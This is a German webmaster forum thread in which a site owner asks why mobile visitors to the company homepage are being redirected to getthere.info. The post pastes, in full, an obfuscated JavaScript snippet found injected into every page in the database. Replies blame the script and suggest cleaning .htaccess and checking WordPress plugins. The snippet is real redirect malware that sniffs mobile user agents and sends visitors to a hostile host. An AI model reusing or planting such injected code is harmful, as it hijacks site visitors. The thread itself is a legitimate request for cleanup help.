Ankündigung

Einklappen
Keine Ankündigung bisher.

Merkwürdiger Redirect

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Merkwürdiger Redirect

    Hallo Forum,
    seit einiger Zeit haben wir auf unserer Firmenhomepage ein Problem. Sobald man mit einem mobilen Gerät myflow365.de aufruft, wird man zu getthere.info weitergeleitet, das einen dann wiederum auf eine andere Seite weiterleitet.
    In der Datenbank fand ich folgenden Code am Schluss aller unserer Seiten und Postings:

    <script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x 69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\ x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\ x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\ x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x6 5\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\ x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62 \x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74 \x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61 \x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x 70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65 \x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6 E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iem obile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\. (browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar (ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|b umb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a |jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t (\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran |owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(4 0|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98 )|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

    Was macht der, und könnte der für die Misere verantwortlich sein?

  • #2
    Hallo, ich bin da kein Spezialist für diese Scripte.
    Aber die Website wird auch auf meinen desktop schon an eine andere Site weitergeleitet.
    Für Weiterleitungen und redirect ist aber die htaccess hauptsächlich verantwortlich, ist die o.k.?
    Ob es da auch für mobile eine möglich gibt, kenne ich zwar nicht, aber die htaccess sollte mal geprüft werden.
    viele grüße
    gerhard

    Kommentar


    • #3
      Zitat von saigkill Beitrag anzeigen
      Was macht der, und könnte der für die Misere verantwortlich sein?
      Der Script macht die Weiterleitung, schau im htaccess nach ob das was von vodafone steht und lösche es. Das Script muss gelöscht werden.
      Ich schätze ihr habt WP? Der Virus kommt üblicherweise über ein Plugin.
      https://arnego2.com <Webseiten ab €50 und einiges mehr>

      Kommentar

      homepage-forum.de - Hilfe für Webmaster! Statistiken

      Einklappen

      Themen: 56.414   Beiträge: 428.247   Mitglieder: 27.803   Aktive Mitglieder: 72
      Willkommen an unser neuestes Mitglied, qieb111.

      Online-Benutzer

      Einklappen

      595 Benutzer sind jetzt online. Registrierte Benutzer: 4, Gäste: 591.

      Mit 1.625 Benutzern waren am 17.03.2018 um 18:52 die meisten Benutzer gleichzeitig online.

      Die neuesten Themen

      Einklappen

      • Rauch17
        Antwort auf Fliesen im Wohnzimmer
        Fliesen im Wohnzimmer ist nicht so gute Idee. Ich empfehle nur Holzfußboden, besonders wenn man im Sommer barfuß gerne läuft....
        Gestern, 19:07
      • Rauch17
        Antwort auf Geschenk fur Chefin?
        Letztes Mal habe ich meiner Chefin eine Orchidee mit Lindt Schokolade geschenkt. Sie war sehr froh.
        Gestern, 19:05
      • Rehnat
        Antwort auf Geschenk fur Chefin?
        Sind ja wirklich so einige gute Ideen zusammengekommen, hoffe, sie haben dir dann auch helfen können?
        Aber, ich finde, dass deine Idee auch toll war... Kann mich meinem Vorschreiber auf jeden Fall anschließen, denn ich finde auch, das es nicht immer so einfach ist ein passendes Geschenk zu finden....
        Gestern, 12:48
      • Mr.Kennedy
        Antwort auf Webseite Domain Namen ändern?
        Sehr hilfreich. Ich konnte meine Domain zu kennedy-translations.com ändern. Danke
        Gestern, 12:32
      • Localfu
        Antwort auf Überwachung der Website-Verfügbarkeit
        Hi Peter,
        ich kann das auch kostenlos machen ohne euer kostenpflichtiges Tool und einige Webhoster bieten das kostenlos zum Service an. Zudem sind die Ausfalzeiten extrem selten. Jenachdem welchen Webhoster man hat. CULA.IO wäre für mich keine Alternative und würde bei mir die Kosten unnütz...
        Gestern, 12:16

      Kostenlose Homepage bei Jimdo!

      Einklappen

      Jimdo

      Die neuesten Beiträge

      Einklappen

      Lädt...
      X